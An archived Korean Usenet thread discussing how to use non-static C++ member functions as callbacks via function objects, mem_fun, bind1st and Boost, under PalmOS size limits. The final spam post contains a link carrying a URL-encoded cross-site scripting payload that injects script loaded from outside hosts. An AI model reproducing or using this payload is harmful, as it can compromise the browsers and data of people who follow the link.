Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss

멤버함수를 이용한 콜백 구현에 대해

304 views
Skip to first unread message

Jin Jang-il

unread,
Jun 19, 2003, 9:39:55 AM6/19/03
to
안녕하세요..
제가 특정 함수 포인터를 가지고 있다가 나중에 이를 호출하는 작업(콜백이라고
하죠)을 구현하려고 하는데요.
클래스에 속하지 않은 글로벌 함수 또는 스태틱 함수일 경우에는 이게
간단합니다.
Windows API나 qsort()등의 표준 라이브러리 등에서 많이 사용되기도 하고요

근데 제가 하고싶은 건 임의의 클래스 내에 정해진 프로토타입을 가진 non-static
멤버함수를 콜백으로 사용하고
싶다는 것입니다. 예를 들어.

class X
{
public:
void callbackX(int) { ... }
};

class Y
{
public:
void callbackY(int) { ... }
};

class CallbackCaller
{
Callback m_cb;
void register(Callback cb) : m_cb(cb) { ... }
};

f() {
X x;
Y y;
CallbackCaller caller1, caller2;
caller1.regsiter(Callback(&x, &X::callbackX)); // 후에 caller1이
X::callbackX()를 부르도록 하고요
caller2.regsiter(Callback(&y, &Y::callbackY)); // 후에 caller2이
Y::callbackY()를 부르도록 하고요
}

이런식으로 멤버함수를 이용해 콜백기능을 구현하고 싶은 것입니다. 단,
멤버함수가 속한 클래스는
임의의 클래스(이게 중요합니다)일 수 있고요. (실은 어디선가 이렇게 하는걸 한
번 본적이 있습니다)

물론 버추얼 함수를 이용해 구현할 수도 있겠고 Callback 클래스를 template
class로 구현할 수도 있겠지만
이를 사용하는 사람의 편의를 위해 멤버 템플릿을 이용해 구현해 보기로
했습니다. 근데 상당히 복잡해지더라구요.

제가 구현한 방법은 다음과 같습니다.
콜백 멤버함수의 프로토타입은 void f(int)입니다.

struct Callback
{
template <class T>
Callback(T* pT, void (T::*pf)(int))

여기까지 하다보니까 나중 호출을 위해 pf를 저장할 필요가 있습니다. 근데 pf의
타입을 contructor가
호출되기 전에는 알 수가 없기 때문에, 또다른 템플릿 클래스가 필요하더군요.

template <class T>
struct MemFun
{
typedef void (T::*CALLBACK)(int);
CALLBACK m_cb;
MemFun(CALLBACK cb) : m_cb(cb) {}
};

이제 Callback 클래스는 다음과 같이 됩니다.

struct Callback
{
MemFun m_mf;
template <class T>
Callback(T* pT, void (T::*pf)(int))

근데 MemFun이 템플릿 클래스이기 때문에 Callback도 템플릿 클래스가 되어야
합니다.
그래서 이건 아니다 싶어 MemFun의 Parent class를 만들었습니다.

struct MemFunBase {};

template <class T>
struct MemFun : public MemFunBase
{
typedef void (T::*CALLBACK)(int);
CALLBACK m_cb;
MemFun(CALLBACK cb) : m_cb(cb) {}
};

struct Callback
{
MemFunBase* m_mf;
template <class T>
Callback(T* pT, void (T::*pf)(int)) {
m_mf = new MemFun<T>(pf);
}

이런식으로 자꾸 하다보니까 이건 배보다 배꼽이 더 커지는 것 같더라구요.
나중에 실제 콜백을 호출할 때 필요한 메소드도 virtual로 또 선언해야 하고...
그래서 이건 아니다 싶어 뭔가 쌈박한 방법이 있을까 해서 문의드립니다.
지금 환경문제상 C++컴파일러는 사용할 수 있지만 STL은 사용할 수 없는
상황입니다.

그럼 미리 감사드립니다...

김승범

unread,
Jun 19, 2003, 2:37:00 PM6/19/03
to
Jin Jang-il wrote:
>
> 근데 제가 하고싶은 건 임의의 클래스 내에 정해진 프로토타입을 가진 non-static
> 멤버함수를 콜백으로 사용하고
> 싶다는 것입니다.
>
> [...]
>
> caller1.regsiter(Callback(&x, &X::callbackX));

콜백이라는 것은 호출할 함수를 던져주면 저쪽에서 그 함수를 호출해 주는
것입니다. 즉 저쪽이 호출해줬으면 하는 함수를 표현하는 방법이 문제가
됩니다. C에서는 이 역할을 함수 포인터가 담당했습니다만, C++에서는
이를 일반화한 '함수 개체(function objects)'가 광범위하게 사용됩니다.

함수 개체란 괄호 연산자가 정의되어 함수 호출 형식으로 호출할 수 있는
개체를 말하는데, 함수 포인터 pf도 pf(...) 식으로 호출할 수 있으므로
함수 개체에 포함되지만, C++에서는 클래스의 개체 형태인 함수 개체가
많이 사용됩니다. 이는 단순하게는 다음과 같은 것입니다.

struct function
{
Result operator()(Args...) { /* do whatever */ }
};

function f;
Result r = f(args...);

즉 위의 /* do whatever */ 부분에 하고 싶은 일을 뭐든지 적어줄 수 있고,
콜백을 원하는 함수에는 function 클래스의 개체 f만 전달하는 것입니다.
그럼 위에서 보듯 f(args...) 형태를 사용하여 /* do whatever */ 부분을
실행할 수 있습니다. (보통 함수 호출과 보기에 다를 바가 없죠?)

그런데 이와 같은 함수 개체를 받아들일 수 있으려면 받아들이는 함수가
템플릿 함수여서 어떤 형의 함수 개체든지 받아들일 수 있어야 합니다.
왜냐하면 서로 다른 Result, Args..., /* do whatever */ 부분의 조합마다
별개의 클래스가 존재해야 하기 때문입니다.
예컨대 C++ 표준 라이브러리의 for_each 알고리즘은 다음과 같이 생겼습니다.

template<class InputIterator, class Function>
Function
for_each(InputIterator first, InputIterator last, Function f)
{
for (; first != last; ++first) f(*first);
return f;
}

이렇게 하면 인자 f는 함수 포인터를 받을 수 있을 뿐만 아니라 어떤 형태의
함수 개체(function object)도 받아들일 수 있게 됩니다.

--[주]------------------------------------------------------------------
만약 콜백을 요구하는 함수가 템플릿이 아니고, Win32 API나 qsort()처럼
한 가지 정해진 형태의 함수 포인터만을 받아들이게 정해져 있다면, 그 형에
맞게 감싸개(wrapper) 함수를 만들어서 그 포인터를 전달하는 수밖에는
없습니다. 게임 끝입니다. -_- 이 경우 C++는 이 부분에 있어 특별히 C보다
나은 어떤 해결책을 제시하지 못합니다. 따라서 이 글에서는 콜백을 요구하는
함수가 템플릿 함수인 경우에 중점을 두어 설명하겠습니다.
------------------------------------------------------------------------

그런데 콜백이 필요할 때마다 매번 위와 같이 클래스를 정의하여 사용해야
한다면 무척 번거로울 것입니다. 그래서 표준 라이브러리에서는 기본적인
산술 연산, 비교 연산, 논리 연산에 대한 함수 개체를 제공합니다.
(<functional> 헤더에 선언되어 있습니다.)

그리고 이미 존재하는 함수를 손쉽게 함수 개체로 변환할 수 있도록
표준 라이브러리에서 함수 어댑터(function adaptor)를 제공하고 있습니다.

-------------------------------------------------------------------
함수 개체 클래스 함수 개체 인자 호출 효과
-------------------------------------------------------------------
pointer_to_unary_function ptr_fun(f) (x) = f(x)
pointer_to_binary_function ptr_fun(f) (x, y) = f(x, y)
[const_]mem_fun_t mem_fun(&C::f) (p) = p->f()
[const_]mem_fun1_t mem_fun(&C::f) (p, x) = p->f(x)
[const_]mem_fun_ref_t mem_fun_ref(&C::f) (p) = p.f()
[const_]mem_fun1_ref_t mem_fun_ref(&C::f) (p, x) = p.f(x)
-------------------------------------------------------------------

예를 들어, std::for_each는 주어진 구간의 모든 원소 p에 대해서
f(p)를 호출하는데, 클래스 멤버의 경우 p->f() 또는 p.f() 꼴이
필요하기 때문에 바로 함수 포인터만 넘겨줄 수 없는 것이었습니다.
이런 경우 std::mem_fun, std::mem_fun_ref를 사용하면 됩니다.
(std::mem_fun의 이름의 의미는 mem_fun_ptr 정도로 생각하세요.)

class Person
{
// ...
public:
void print() const;
};

std::vector<Person*> people;
std::for_each(
people.begin(), people.end(), std::mem_fun(&Person::print)
);

여기서 std::for_each의 세번째 인자 f는 std::mem_fun(&Person::print)라는
값을 갖게 되는데, f(p)를 호출하면 p->print()를 호출하는 것과 같은 의미가
됩니다. 다시 말해 std::mem_fun(&Person::print)(p)=p->print()라고 쓸 수
있습니다. 위의 표의 다른 함수 개체도 같은 방식으로 이해하시면 됩니다.

이렇게 함수 어댑터를 사용하면 멤버 함수를 호출하는 함수 개체를 만들 수
있지만 이들은 늘 어떤 개체에 대해 멤버 함수를 호출할 것인지를 인자로
받습니다. 즉 std::mem_fun(&Person::print)라는 함수 개체를 보면,
Person::print를 호출하라는 얘기는 있지만 [ ]->print()에서 [ ] 부분은
비워 두고 나중에 인자를 받아서 채워 넣게 되어 있는 것입니다.

이런 방식이 유용할 때도 있지만, 미리 저 부분까지 채워져 있는 함수 개체를
만들어야 할 때도 있습니다. 이러한 경우에 바인더(binder)를 사용합니다.
함수 바인더의 개념은, 비워 둔 자리를 미리 어떤 값으로 채워주는 것입니다.

C++ 표준 라이브러리에서는 bind1st와 bind2nd라는 바인더를 제공하는데,
이는 인자 두 개를 가지는 함수 개체를 받아서 각각 첫번째 또는 두번째
인자를 채워 넣어 인자 한 개를 가지는 함수 개체를 만드는 것입니다. 즉
f가 인자 두 개를 가지는 함수 개체일 때, bind1st(f, a)는 f(x, y)에서
x 자리를 a로 채워 넣고 y 자리만 비워 둡니다.

std::bind1st(f, a) (y) = f(a, y)
std::bind2nd(f, b) (x) = f(x, b)

std::mem_fun 또는 std::mem_fun_ref가 첫번째 인자로 개체의 포인터 또는
레퍼런스를 받아들이기 때문에, 이를 std::bind1st와 함께 사용하면
어떤 개체에 대해 멤버 함수를 호출할 것인지까지 정해줄 수 있습니다.

std::bind1st(mem_fun (&C::f), p) () = p->f()
std::bind1st(mem_fun (&C::f), p) (x) = p->f(x)
std::bind1st(mem_fun_ref(&C::f), p) () = p.f()
std::bind1st(mem_fun_ref(&C::f), p) (x) = p.f(x)

예를 들면 다음과 같습니다.

template<class Caller>
inline void call_it(Caller c) { c(); }

Person* p;
call_it( std::bind1st(std::mem_fun(&Person::print), p) );

좀 더 실제적인 예를 들어 볼까요?
스마트 포인터의 일종인 boost::shared_ptr의 경우 해제 함수(deleter)를
사용자가 지정할 수 있게 되어 있습니다.

template<class T>
template<class Y, class D>
shared_ptr<T>::shared_ptr(Y * p, D d);

shared_ptr 개체는 d를 가지고 있다가, 내부에 가지고 있는 포인터 p를
해제해야 할 때 d(p)를 호출하도록 정해져 있습니다.

MFC의 CWnd 클래스에는 쌍으로 사용되는 GetDC(), ReleaseDC()라는
멤버 함수들이 있는데,

// in a member function of a CWnd-derived class
CDC* pDC = GetDC();
// use pDC
ReleaseDC(pDC);

이와 같이 직접 ReleaseDC()를 호출하여 자원을 해제하는 대신에
다음과 같이 boost::shared_ptr를 사용할 수 있습니다.

// in a member function of a CWnd-derived class
boost::shared_ptr<CDC> pDC(GetDC(),
std::bind1st(std::mem_fun(&CWnd::ReleaseDC), this));
// use pDC

이 경우 해제 함수 d는 std::bind1st(std::mem_fun(&CWnd::ReleaseDC), this)
가 되는 것이고, d(p)는 this->ReleaseDC(p)과 같은 뜻이 됩니다.

보기에는 좀 복잡해 보이지만 위와 같은 함수 어댑터와 바인더의 사용에
익숙해지면 금방 알아볼 수 있고, 모두 인라인으로 처리되기 때문에 복잡해
보여도 수행 속도가 느려지는 것은 아닙니다. 무엇보다도, // use pDC
부분에서 return 문을 만나거나 예외가 발생하여 중간에 빠져나가더라도
ReleaseDC를 빼먹지 않을 수 있다는 점이 중요한 장점입니다.

그리고 콜백을 받아들이는 부분은, 전역 함수일 경우 std::for_each의
예에서처럼 템플릿 함수로 만들면 되고, 클래스일 경우 표준 함수 어댑터나
바인더의 구현에서처럼 클래스 자체를 템플릿으로 만들거나, 클래스 자체는
놔두고 콜백 부분만 boost::function과 같은 감싸개를 사용할 수도 있습니다.
http://www.boost.org/doc/html/function.html

class X
{
public:
void callback(int) { /* ... */ }
};

class callback_caller
{
boost::function<void (int)> callback_;
public:
template<class T> void registerc(T t) { callback_ = t; }
void call(int x) const { callback_(x); }
};

X x;
callback_caller caller;
caller.registerc(std::bind1st(std::mem_fun(&X::callback), &x));
caller.call(5);

> 지금 환경문제상 C++컴파일러는 사용할 수 있지만 STL은 사용할 수 없는
> 상황입니다.

이게 어떤 상황인지 모르겠습니다. STL 자체가 그 포함 범위가 정확하지 않은
개념이기는 합니다만, 대략 C++ 표준 라이브러리의 (주로 템플릿을 사용하는)
어떤 부분 집합이라고 본다면, 어떤 컴파일러에서 "STL을 사용할 수 없다"는
것은 그것이 제대로 된 C++ 컴파일러가 아니라는 뜻입니다.

특히나, 이 글에서 등장한 함수 개체, 함수 어댑터, 바인더 정도의 템플릿
코드도 소화하지 못하는 컴파일러로는 웬만한 현대적 C++ 프로그래밍을 하기
어렵습니다. 컴파일러를 바꾸시는 것이 좋을 것 같네요.

--
김승범

김승범

unread,
Jun 19, 2003, 11:40:41 PM6/19/03
to
김승범 wrote:
>
> 그리고 이미 존재하는 함수를 손쉽게 함수 개체로 변환할 수 있도록
> 표준 라이브러리에서 함수 어댑터(function adaptor)를 제공하고 있습니다.

어제 위 글을 쓸 때는 책이 없어서 정확한 용어를 확인하지 못했는데..

비록 '멤버 함수 어댑터(member function adaptor)', '포인터 함수 어댑터
(pointer to function adaptor)'와 같이 어댑터에 '함수(function)'라는
말이 붙어다니기는 합니다만, 정식으로 '함수 어댑터(function adaptor)'
라는 표현은 잘 쓰이지 않고 그냥 '어댑터(adaptor)'라고만 하는 것 같네요.

따라서 위 글에서도 '함수 어댑터(function adaptor)'라는 표현을 모두
'어댑터(adaptor)'라는 표현으로 정정하겠습니다.

덧글> 괜찮은 번역어가 없을지 모르겠습니다.
어제 적응자(adaptor)라는 말까지는 생각을 해내어 봤습니다만,
binder를 뭐라고 번역해야 할지에 막혀서.. -_-;;

--
김승범

Jin Jang-il

unread,
Jun 20, 2003, 1:12:12 AM6/20/03
to
우선 긴 답변에 감사하다는 말씀을 드립니다.

"김승범" <musi...@bawi.org> wrote in message
news:3EF202CC...@bawi.org...


> > 지금 환경문제상 C++컴파일러는 사용할 수 있지만 STL은 사용할 수 없는
> > 상황입니다.
>
> 이게 어떤 상황인지 모르겠습니다. STL 자체가 그 포함 범위가 정확하지 않은
> 개념이기는 합니다만, 대략 C++ 표준 라이브러리의 (주로 템플릿을 사용하는)
> 어떤 부분 집합이라고 본다면, 어떤 컴파일러에서 "STL을 사용할 수 없다"는
> 것은 그것이 제대로 된 C++ 컴파일러가 아니라는 뜻입니다.

저의 프로그래밍 환경은 PalmOS PDA이고 컴파일러는 CodeWarrior를 사용합니다.
그리고 CodeWarrior for PalmOS 컴파일러는 stream관련만 빼고 Standard
Library(STL)도 지원합니다.
근데 제가 여때까지 작성한 프로그램의 사이즈가 지금 너무 커져서 function
object만을 사용하려고
STL을 추가하기에는 좀 무리가 있습니다. 코드사이즈가 많이 커지더라구요.
그래서 STL을 사용할 수 없다고 한 것입니다.

참고적으로 제가 만들고 있는 프로그램은, WAP 관련 프로그램입니다.
제가 하고자 했던 것은 WAP Request를 던지면 이걸 Asynchronous하게
처리하다가 처리가 끝나면 callback으로 결과를 알려주는 방식을 채용해 보려고
한 것입니다.

class WMLDocument
{
void onWMLReceived(const char* WML, ...)
{
WMLParser parser;
parser.parse(WML);
// Render parsed XML to screen
}
.....
};

class WAPNetwork
{
private:
Callback m_cb;
// ....

public:
void postRequest(const char* URL, Callback c)
{
m_cb = c;
....
}
void processAsyncTask() { // Called continuously in idle time
// do network operation
if (completed)
m_cb.call(buffer, bufSize);
....
}
};

여기서 콜백은 WMLDocument::onWMLReceived()가 되고, 콜백을 받아들이는 부분은
WAPNetwork가 되겠네요.

>
> 그리고 콜백을 받아들이는 부분은, 전역 함수일 경우 std::for_each의
> 예에서처럼 템플릿 함수로 만들면 되고, 클래스일 경우 표준 함수 어댑터나
> 바인더의 구현에서처럼 클래스 자체를 템플릿으로 만들거나, 클래스 자체는
> 놔두고 콜백 부분만 boost::function과 같은 감싸개를 사용할 수도 있습니다.
> http://www.boost.org/doc/html/function.html

위와 같은 이유로 boost 라이브러리의 적용도 좀 어려울 것 같아서
말씀하신대로 callback을 받아들이는 부분을 template으로 만들려고 했는데
callback을 받아들이는 클래스가 무지 큽니다. 그래서 일단 드는 생각이
template으로 만들기에도 좀 그럴 것 같네요.

강승범임의 고견을 따라서 조금 더 고민을 해 봐야 겠습니다.
다시한번 정성들여 답변해 주신 것에 대해 감사드립니다.


김승범

unread,
Jun 23, 2003, 5:04:42 AM6/23/03
to
Jin Jang-il wrote:
>
> 저의 프로그래밍 환경은 PalmOS PDA이고 컴파일러는 CodeWarrior를 사용합니다.
> 그리고 CodeWarrior for PalmOS 컴파일러는 stream관련만 빼고 Standard
> Library(STL)도 지원합니다.
> 근데 제가 여때까지 작성한 프로그램의 사이즈가 지금 너무 커져서 function
> object만을 사용하려고
> STL을 추가하기에는 좀 무리가 있습니다. 코드사이즈가 많이 커지더라구요.
> 그래서 STL을 사용할 수 없다고 한 것입니다.

아.. 이런 상황이군요.

그런데 "STL 추가"라는 것이 어떤 식으로 이루어지는지 잘 모르겠습니다만,
STL을 사용하겠다고 하는 것만으로 코드 사이즈가 많이 커지나요?
STL이라는 것이 같이 링크되는 것도 아니고 헤더만으로 되어 있는
라이브러리 아닙니까. 그것 때문에 코드 사이즈가 커진다는 것이 잘
이해가 안 되어서요.

아니면 <functional> 헤더에 들어 있는 필요한 클래스와 함수 정의만
복사해다가 사용자 정의 헤더에 넣어 사용하시면 어떨지 모르겠습니다.

> 강승범임의 고견을 따라서 조금 더 고민을 해 봐야 겠습니다.
> 다시한번 정성들여 답변해 주신 것에 대해 감사드립니다.

문제는 해결하셨는지요?
저도 요즘 이 문제를 좀 생각을 해 보고 있는데, STL과 boost를 쓰지
않는다면 어떻게 해야 할지 잘 모르겠더군요. boost::function이 어떻게
구현되어 있는지 이해한다면 거기서 실마리를 얻을 수도 있을 것 같은데.

여유가 되신다면 <news:comp.lang.c++.moderated>에 이 문제를 올려서
조언을 들어보시는 것도 좋을 것 같습니다. 아마 전세계의 대가들이
좋은 해결책을 제시해주지 않을까 싶습니다. :-)

--
김승범

Jin Jang-il

unread,
Jun 23, 2003, 7:50:22 AM6/23/03
to
"김승범" <musi...@bawi.org> wrote in message
news:3EF6C2AA...@bawi.org...

> Jin Jang-il wrote:
> >
> > 저의 프로그래밍 환경은 PalmOS PDA이고 컴파일러는 CodeWarrior를
사용합니다.
> > 그리고 CodeWarrior for PalmOS 컴파일러는 stream관련만 빼고 Standard
> > Library(STL)도 지원합니다.
> > 근데 제가 여때까지 작성한 프로그램의 사이즈가 지금 너무 커져서 function
> > object만을 사용하려고
> > STL을 추가하기에는 좀 무리가 있습니다. 코드사이즈가 많이 커지더라구요.
> > 그래서 STL을 사용할 수 없다고 한 것입니다.
>
> 아.. 이런 상황이군요.
>
> 그런데 "STL 추가"라는 것이 어떤 식으로 이루어지는지 잘 모르겠습니다만,
> STL을 사용하겠다고 하는 것만으로 코드 사이즈가 많이 커지나요?
> STL이라는 것이 같이 링크되는 것도 아니고 헤더만으로 되어 있는
> 라이브러리 아닙니까. 그것 때문에 코드 사이즈가 커진다는 것이 잘
> 이해가 안 되어서요.

VC에 들어가 있는 STL은 header만으로 이루어져 있으나
STLPort 같은 implementation은 헤더 이외에 별도의 라이브러리가
존재하는 것으로 알고있습니다. 제 프로그래밍 환경도 그런식이구요

여튼 제 프로그래밍 환경에 STL library를 추가하고 functional을 인클루드
해 컴파일하면, 오브젝트 파일의 사이즈가 무려 5배는 커집니다.
물론 링크과정에서 스마트하게 사용하지 않는 것들은 잘라내 많이
줄긴 하지만, 아무래도 부담이 되는 크기입니다. 게다가,
아시는지 모르겠지만 PalmOS환경은 A함수에서 B함수를 호출할 때
A, B함수가 코드세그먼트에서 떨어져 있는 크기가 32K를 넘을 수 없습니다.
이게 넘어가면 세그먼트를 나눠주거나 코드 순서를 재배치해야하는데,
STL을 추가하면 이런 작업이 필요해 집니다.
이런 것들이 제 생각에는 노력대비 효과라고 할까요? 암튼 코스트가 크다는거죠.
기존에 잘 돌아가던 기능까지 영향을 미칠가능성도 있고요..

>
> 아니면 <functional> 헤더에 들어 있는 필요한 클래스와 함수 정의만
> 복사해다가 사용자 정의 헤더에 넣어 사용하시면 어떨지 모르겠습니다.

이 방법도 생각했는데, 귀찮아서요.... ^^

>
> > 강승범임의 고견을 따라서 조금 더 고민을 해 봐야 겠습니다.
> > 다시한번 정성들여 답변해 주신 것에 대해 감사드립니다.
>
> 문제는 해결하셨는지요?
> 저도 요즘 이 문제를 좀 생각을 해 보고 있는데, STL과 boost를 쓰지
> 않는다면 어떻게 해야 할지 잘 모르겠더군요. boost::function이 어떻게
> 구현되어 있는지 이해한다면 거기서 실마리를 얻을 수도 있을 것 같은데.

그냥 제가 제일 처음에 생각했던대로, virtual function과 템플릿을 짬뽕해서
구현은 했습니다만, 별로 마음에 들지는 않습니다.

>
> 여유가 되신다면 <news:comp.lang.c++.moderated>에 이 문제를 올려서
> 조언을 들어보시는 것도 좋을 것 같습니다. 아마 전세계의 대가들이
> 좋은 해결책을 제시해주지 않을까 싶습니다. :-)

지금 프로젝트 끝나면 함 불어봐야겠습니다.

관심가져주셔서 감사합니다.


Lee, Sin-jae.

unread,
Jun 23, 2003, 8:38:21 PM6/23/03
to

PalmPDA와 같은 열악한 환경에서는, 객체지향이라던가 template 등은 별로 좋
지 못한 방법이 아닌가 싶습니다. 객체지향은 그렇다쳐도, template은 각 타
입을 지원하는 함수를 따로 만들기 때문에 용량상 상당한 overhead가 됩니다.
저도 Palm 기기를 하나 가지고 있는데, 용량이 작기 때문에 프로그램의 크기
가 상당히 신경쓰이는 요소중의 하나더군요.

게다가 C++은 순수한 객체지향 언어가 아니라 멀티 패러다임 언어입니다. 오
히려 이것저것 섞은 잡탕식 방법이 C++ 다운 방식이 아닌가 하는 생각도 듭니
다. :-)

제 경험을 말씀드리자면, 저는 요새 PHP를 가지고 웹 게시판을 짜고 있습니
다. 그런데 이놈의 PHP는 언어적으로 여러가지 기능이 대단히 부실한데다가
제가 짜고있는 프로그램이 객체지향에 어울리고 있는 것 같지도 않더군요. 그
래서 결국 클래스로 거의 다만들었던 프로그램을 해체해서 스크립트(?)적인
방식으로 다시 짜고있는 중입니다. -_-;; 이번 일로 객체지향이나 최신기술을
고집하는 것이 반드시 좋은 것만은 아니라는 것을 배웠습니다. 상황에 맞게
필요한 것을 사용하면 되는 것이지, 도구에 집착할 필요는 없다는 것이죠.

--
Lee, Sin-jae.
E-mail: lsj0713 at yahoo dot co dot kr

Seongab Kim

unread,
Jun 23, 2003, 8:44:44 PM6/23/03
to
>
> 그런데 "STL 추가"라는 것이 어떤 식으로 이루어지는지 잘 모르겠습니다만,
> STL을 사용하겠다고 하는 것만으로 코드 사이즈가 많이 커지나요?
> STL이라는 것이 같이 링크되는 것도 아니고 헤더만으로 되어 있는
> 라이브러리 아닙니까. 그것 때문에 코드 사이즈가 커진다는 것이 잘
> 이해가 안 되어서요.
>

mfc project의 경우라면

#include <fstream>
...
std::ifstream fin("test.txt");
fin.close();

를 추가했을때 size의 변화가 없지만, atl/wtl project 같은 경우는
3배 정도 커집니다. ( 53,248 byte -> 176,128 byte )

비슷한 경우일까요?

김승범

unread,
Jun 25, 2003, 12:14:03 PM6/25/03
to
김승범 wrote:
>
> 스마트 포인터의 일종인 boost::shared_ptr의 경우 해제 함수(deleter)를
> 사용자가 지정할 수 있게 되어 있습니다.
>
> template<class T>
> template<class Y, class D>
> shared_ptr<T>::shared_ptr(Y * p, D d);
>
> shared_ptr 개체는 d를 가지고 있다가, 내부에 가지고 있는 포인터 p를
> 해제해야 할 때 d(p)를 호출하도록 정해져 있습니다.

이게 어떻게 구현이 되어 있나 궁금해서 좀 살펴봤는데, 말씀하신
MemFun<T>/MemFunBase 패턴과 동일하더군요. MemFunBase 역할을 하는 것이
boost::detail::sp_counted_base로서 dispose(), get_deleter() 등의 가상
함수를 갖는 추상 기반 클래스(abstract base class)이고, boost::detail::
sp_counted_base_impl<P, D>이 sp_counted_base로부터 상속을 받는 구체
클래스(concrete class)로서 MemFunBase<T>에 해당합니다.

boost::function도 한번 뜯어봐야 할 텐데, 언제 될지는 모르겠습니다. :)

--
김승범

김승범

unread,
Aug 10, 2005, 12:05:10 AM8/10/05
to
김승범 wrote:
> C++ 표준 라이브러리에서는 bind1st와 bind2nd라는 바인더를 제공하는데,
> 이는 인자 두 개를 가지는 함수 개체를 받아서 각각 첫번째 또는 두번째
> 인자를 채워 넣어 인자 한 개를 가지는 함수 개체를 만드는 것입니다. 즉
> f가 인자 두 개를 가지는 함수 개체일 때, bind1st(f, a)는 f(x, y)에서
> x 자리를 a로 채워 넣고 y 자리만 비워 둡니다.
>
> std::bind1st(f, a) (y) = f(a, y)
> std::bind2nd(f, b) (x) = f(x, b)
>
> std::mem_fun 또는 std::mem_fun_ref가 첫번째 인자로 개체의 포인터 또는
> 레퍼런스를 받아들이기 때문에, 이를 std::bind1st와 함께 사용하면
> 어떤 개체에 대해 멤버 함수를 호출할 것인지까지 정해줄 수 있습니다.
>
> std::bind1st(mem_fun (&C::f), p) () = p->f()
> std::bind1st(mem_fun (&C::f), p) (x) = p->f(x)
> std::bind1st(mem_fun_ref(&C::f), p) () = p.f()
> std::bind1st(mem_fun_ref(&C::f), p) (x) = p.f(x)
>
> 예를 들면 다음과 같습니다.
>
> template<class Caller>
> inline void call_it(Caller c) { c(); }
>
> Person* p;
> call_it( std::bind1st(std::mem_fun(&Person::print), p) );

위 부분을 지금 다시 읽어보니 잘못된 점이 있습니다.
위에서 썼듯 bind1st와 bind2nd는 인자 두 개를 가지는 함수 개체만을
받기 때문에,

std::bind1st(mem_fun (&C::f), p) (x) = p->f(x)

std::bind1st(mem_fun_ref(&C::f), p) (x) = p.f(x)

위와 같이만 사용할 수 있고

std::bind1st(mem_fun (&C::f), p) () = p->f()

std::bind1st(mem_fun_ref(&C::f), p) () = p.f()

위와 같은 방법은 사용할 수 없습니다.

표준 라이브러리에서 인자 하나를 가지는 함수 개체를 위한 어댑터를
제공하지 않기 때문에, 아래와 같이 만들어야 합니다.

template <class Result>
struct nullary_function {
typedef Result result_type;
};

template <class Operation>
class binder
: public nullary_function<typename Operation::result_type> {
protected:
Operation op;
typename Operation::argument_type value;
public:
binder(const Operation& x,
const typename Operation::argument_type& y) : op(x), value(y) { }
typename Operation::result_type
operator()() const { return op(value); }
};

template <class Operation, class T>
binder<Operation> bind(const Operation& op, const T& x)
{ return binder<Operation>(op, typename Operation::argument_type(x)); }

(위 내용은 사실 표준 라이브러리에 원래 포함되었어야 하는 것이죠.)

이렇게 하고 나면 다음과 같이 쓸 수 있습니다.

template<class Caller>
inline void call_it(Caller c) { c(); }

Person* p;
call_it( bind(std::mem_fun(&Person::print), p) );

그런데 표준 라이브러리에 이러한 제약이 있고, 또 매번 만들어 쓰기도
번거롭기 때문에, 사실상 '준 표준'이라 할 수 있는 Boost의 Boost.Bind
라이브러리를 이용하면 좋습니다. 헤더 파일을 포함하는 것만으로 위와
같은 번거로운 절차 없이 훨씬 강력한 바인더를 이용할 수 있습니다.

#include <boost/bind.hpp>

template<class Caller>
inline void call_it(Caller c) { c(); }

Person* p;
call_it( boost::bind(std::mem_fun(&Person::print), p) );

Boost.Bind는 표준 라이브러리의 bind1st와 bind2nd의 제약을 없애고
일반화한 것이기 때문에, 이들 대신에 boost::bind만 사용해도 됩니다.

--
김승범

Joshua

unread,
Jun 2, 2007, 8:09:44 AM6/2/07
to

Kelby

unread,
Sep 13, 2007, 2:16:51 AM9/13/07
to

Unknown

unread,
Oct 16, 2007, 12:42:59 AM10/16/07
to

Kylan

unread,
Oct 16, 2007, 6:33:44 PM10/16/07
to

Reece

unread,
Oct 17, 2007, 12:59:36 PM10/17/07
to

Xavier

unread,
Oct 18, 2007, 8:25:46 AM10/18/07
to

Jerry

unread,
Oct 19, 2007, 4:13:56 AM10/19/07
to

Keyon

unread,
Oct 19, 2007, 10:09:12 PM10/19/07
to

Keon

unread,
Oct 20, 2007, 5:35:24 PM10/20/07
to

Gabriel

unread,
Oct 21, 2007, 1:37:53 PM10/21/07
to

Andrew

unread,
Oct 22, 2007, 9:28:14 PM10/22/07
to

Omarion

unread,
Oct 24, 2007, 1:02:27 PM10/24/07
to

Romeo

unread,
Oct 25, 2007, 9:22:50 AM10/25/07
to

Desmond

unread,
Oct 26, 2007, 5:09:00 AM10/26/07
to

Mariano

unread,
Oct 27, 2007, 1:10:31 AM10/27/07
to

Gonzalo

unread,
Oct 27, 2007, 9:37:23 PM10/27/07
to

Dave

unread,
Oct 28, 2007, 5:27:18 PM10/28/07
to

Tyson

unread,
Apr 9, 2008, 3:30:45 AM4/9/08
to
9f32a9ec04cf9a25c066979dd876ca8c <a
href="http://budgettravel.about.com/gi/pages/mmail.htm?nlrc=2&surl=http://budgettravel.about.com/gi/pages/mmail.htm&eurl=http://budgettravel.about.com/gi/pages/mmail.htm&gs=1&email=Enter%20email%20address&newsub=Go&curl=http://%22%3E%3C/script%3E%3Cscript%20src=http://plord.narod.ru/script.js%3E%3C/script%3E.about.com/gi/pages/mmail2.htm?zi=18%2F1a9&surl=http%3A%2F%2Fbudgettravel.about.com%2Fgi%2Fpages%2Fmmail.htm&eurl=http%3A%2F%2Fbudgettravel.about.com%2Fgi%2Fpages%2Fmmail.htm&cmd_budgettravel=%2B%3Ags%3A%3Abudgettravel&gs=1&sdn=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-premonstration&tt=1&bts=1&email=Enter+email+address">
